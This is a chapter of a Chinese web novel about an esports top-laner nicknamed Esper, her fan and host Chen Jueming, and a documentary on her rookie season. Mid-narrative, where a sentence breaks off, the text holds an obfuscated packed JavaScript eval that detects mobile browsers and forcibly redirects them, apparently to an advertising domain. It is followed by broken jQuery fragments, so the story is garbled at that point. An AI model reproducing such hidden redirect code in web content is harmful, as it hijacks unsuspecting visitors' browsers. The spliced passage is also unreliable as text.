为了收视率，职业比赛通常安排在“晚五”以后，配着饭食零嘴儿进入人体。
BO3和BO5在局数上有区别，打起来无外乎零封碾压、势均力敌和拉满唱战歌这些情况，无论怎样发展，最后总要决出个胜负。
随着败方基地告破，普通观众的职责履行了了，手指一滑切换现实流；选手鞠躬退场后，还有复盘、练习、训练赛等一系列流程在候着，折腾到三四点才算结束。
久而久之，职业选手都养成了一套昼夜颠倒的作息：
正午起，凌晨睡。
而Dream时期的喻昭苏，更是在该作息上加了码——比正午早一小时起，比凌晨晚一小时睡，在二队一队都是如此，雷打不动。
趁采访后的瞬息同行，陈决明询问她原因：“给自己加练？”
“嗯，教练告诉我，打职业就和逆水行舟一样。”彼时的Esper一甩队服，翻飞的下摆闪烁着杀入LDL决赛的昂扬，“我呢，更是瀑布前划船，不刻苦怎么保住首发？”
她深信“不进则退”理论，日复一日早到迟退，担过了训练室灯长的头衔。
整一个赛季后，她捎着这套作息去到了Dream一队，并意外发掘了另一妙用——
月末补直播时长。
当时Dream选手都拖延症，放着大长一个月不播，非得攒到deadline才猛猛播，其他人尚且提前个一周，给自己留点儿干饭摸鱼的余地。
而喻昭苏仗着觉少，将直播压缩在三四日里，极限赶进度。
作为粉丝，陈决明每月固定“陪读”。
他上大学的四年，期末周连夜连夜通宵复习，被舍友奉为“掌管熬夜的神”。可在陪读过程中，他逐渐认识到，神祇以上，还有创世神的存在。
喻昭苏那时是真能熬，有那么几次，他都不知不觉睡了过去。
惊醒后，天亮了，饭香四溢了，晨练热曲震耳欲聋……Esperanto选手仍在排位，键盘噼啪声响过闹钟，脸上没有丝毫的疲惫。
她甚至还中气十足地嘴打野：“你迷得跟从没摸对过家门似的，还敢点投降？”
“跪求主包歇歇吧[晕][晕]”陈决明竭力压下哈欠，瞪大了眼睛敲字，“你播得动我看不动，叶教练呢，救一救啊。”
叶如是总是风风火火，趿拉着拖鞋来逮人，边催她下播边数落。
“打职业是不是耽误你成为熬鹰人了？他们给你多少兼职费啊？还是你不跟我一个时区？现在对你来说其实是凌晨四点的洛杉矶[注]？”
喻昭苏不知在想什么，眨巴了下眼睛，然后乖乖答了叶如是的阴阳怪气。
“在一个时区。”
叶如是被一噎：“谁问你了？！”
她不再乱说话，被教练撵回宿舍，遵循了职业选手普遍使用的作息入眠。
时过境迁，喻昭苏去往了另一个时区，又在一场没被deadlin追杀的直播里，公然打起了盹。
这一行为的背后，究竟是岁月的流逝，还是外卡的侵蚀？
“敬请期待Esperanto选手的专访……”
专访没等到，喻昭苏却在挨着扶手睡下后，开始一像素一像素地往镜头外滑去。
陈决明赶忙截了屏，并给照片命名为“有生之年”。
相册里，还有许多Esper的照片，都是他存的赛后返图，来自官方、俱乐部以及粉丝拍摄。
“有生之年”与一众鲜明的赛场照列在一起。因为是直播截图，对比之下，它显得格外黯淡模糊，似一幅只有深浅的拙劣铅笔画。
他手指一展，放大了一缕和卫衣绳纠缠的头发。
没有灯光、滤镜加持，融了杏色的黑化作一窄溪水，而不是精修图里比针还锋利的一根根细丝。
两者间的区别，大概是面对MIld时的昭苏，和Esperanto选手。
他想了想，拉进度条截下张清晰的卫衣照，收入相册，凑成了“系列”。
*
DTG那边察觉有选手溜号，派了翻译过来。
不过，叫醒喻昭苏后，她没挪回镜头前，而是被喊出去了。
“？？我那么大个世界语呢？？”
“羽毛队查查银行卡余额，忘记这泼天流量谁带来的啦？”
“不好意思，”阮文竹举起手机，一行字滚动播放，“官方紧急通知，需要Esper补录点儿素材，很快结束，烦请各位稍等。”
纪录片发了快半个月，该品的都细品过了，粉丝们蹲Rection直播，纯粹为了选手这一趴。
没了喻昭苏，直播间热度骤降。
陈决明倒是没退，但捧了平板挪到窗边，伴着高层刺骨的寒风，打开了昨晚没来得及修改的主持稿。
虽然两边的钟表差了一场拉满的BO5，精神状态却达到了高度的契合。
困得抬不动头，但还有工作堆积如山。
LPL和外卡前后脚开了春季赛，现在打得如火如荼，春节放假前，他仅有一场要主持；节后，新赛季公益赛也要打了，他独自一人主持全程，所以得提前准备稿子。
工作之余，陈决明还上着一周四次的语言课。
虽然本科专业是朝鲜语，但他那四年奉行“上大学即自由”，没怎么学，听说读写样样不行。工作了才发现，那一瓶底儿的韩语约等于零，他只能含泪报了一对一进修。
处理过一堆主持稿，陈提交了今日份语言作业，往直播间一瞥。
喻昭苏notfound！
DTG再不放人，纪录片可就播到头了。
他叹出一片雾气，播放了另一部纪录片。
这是Dream拍的，记录首位女选手在LDL的日常和比赛经历。
片名叫《她》。
视频定位上次播放的位置，自动跳转。
“夏季赛登场时，我从不敢想最后，我能站上决赛舞台。”她站在缺字母的队标下，说一句话停一下，似乎在规划后面的十句话，捋清楚了才缓缓继续，“对我来说，是很难忘的经历，就是没能把握机会赢下来，真的很可惜。”
“请Esperanto选手，说一下下赛季决心吧。”
落日铺洒。
画外，抽油烟机嗡鸣不止，间或泄出三两道急促的键盘声，吸引着她的眼神。
“次级联赛有十七支队伍，要打十六场，我夏季只打了九场……”
“明年啊，打满常规赛的场次，就算成功。”
“打满了，”陈决明和评论一起回望，告诉她，“一场不落。”
镜头一转，新叶缠上树木，淡粉的花一枝枝伸入闹哄哄的训练室。
“小喻呢？哎呀，跟我来！”工作人员将喻昭苏从电脑前拔起，半挽半拽带到门口，“认识一下，这是新提上二队的选手，司职打野，ID你自己说！”
“姐姐好，我叫林影童，”小打野装模做样伸手，和她轻轻一握，“ID是Abuse。”
“咔——”
陈决明重重一敲暂停。
Esper和Abuse都是Dream的青训，职业生涯也是如出一辙的二连跳，然后，又同行到了世界赛决赛。
一般情况下，该情况应被称为“双子星”。
Abuse却独树一帜，开辟了敌视赛道。
这段时间，他循着物料一路往前回溯。
剔除决赛后的内容，之前的视频里，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195257|165635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她俩的关系始终不温不火，聚餐坐对角线，团建活动从不在一组。
只在游戏、复盘或讨论战术时，上野才会勉为其难地交谈一下。
叫“姐姐”的Abuse……
陈决明甩落一身的鸡皮疙瘩，结结实实开了回眼。
陌生的Abuse眉眼含笑，套近乎道。
“我其实是想叫Amuse的，可输ID的时候按错键，然后唉，就将错就错了。”
喻昭苏贴着墙微微点头，脸上明晃晃挂着“不感兴趣”。
“我是上单。”
“我知道我知道，姐姐你半年就上二队的事迹，一直在我们青训间流传呢，我和你讲……”
不过，Abuse过剩的热情没持续很久，刚打第一场比赛，他和上单就进入了对角线状态。
不止喻昭苏，中下辅也和打野离得远远的。
第一局，打野被评为MVP，一群人稀稀拉拉鼓掌，道了几声无精打采的“恭喜”，氛围简直比败方还奇怪；第二局轮到上单，辅助牵头吹口哨，好听话不要钱地吐露。
陈决明：“？”
Abuse入队不过短短数日，怎么就把队友惹了一圈？
不过话又说回来，也算给他的考古圈了个明确的范围，不至于继续像没头苍蝇一样乱撞。
陈决明记下选手和时间节点，列入搜索清单。
这时，手机“叮”一声响。
“谁啊？”
消息来自赛区另一个男主持——山奇。
他想和陈决明换班，已经告诉官方了。
还没读完，一串消息就紧随而至。
[山奇]：官方批准了，白茶你记得改一下闹钟，年二十八去N6主场，不要跑错了。
[山奇]：辛苦你站好最后一班岗！[抱拳][抱拳]
陈决明磨牙：“……”
好一个先斩后奏，想着想着，直接通知他了呗！
*
素材拍到一半，官方忽然来电话，说在场馆找到丢失的储存卡、导出视频了。
“不用我们录了，”阮文竹垂下手机，“Esper，你回去直播吧。”
喻昭苏：“……”
但凡早十几分钟找到呢？
回到训练室，她发现直播画面暂停在全场合照的时刻，距纪录片结束只剩半分钟。
中野充分发挥健谈的天赋，滔滔不绝地水时长。
有人干活，就有人偷懒。
喻昭苏敲了敲昏昏欲睡的AD，搅碎他的清梦。
LuffyX懵懵仰头：“What？”
喻昭苏示意他掏出手机。
“给你分享了一个视频，”她在翻译器里写，“关于兵线的。”
昨日进行了春季赛第二场，又是一个有惊无险的“2:1”。
LuffyX一直被压线，导致下路把把劣势，到了第三局，DTG主动换线，让上单顶在下路。
赛后，喻昭苏给LuffyX分析对面下路。
说着说着，她发现小AD的兵线理解很差，可以用一团浆糊来形容。
她向上反映，而教练忙着教训中野，难以兼顾。
“Luffy一直这样，我教了很多次，收效甚微。”教练撑着腰打量她，“要看不下去，你教教试试？”
“你从LPL来，游戏理解肯定比我们好。”
一旁的AD听懂教练的话，怯怯望她一眼。
闻言，喻昭苏默默审视自己。
S赛的三比零还历历在目，她自认为水平并不高，至少没有高到能教授别人。
像叶如是一样经验丰富如海，才可以成为教练。
现在，她只是选手。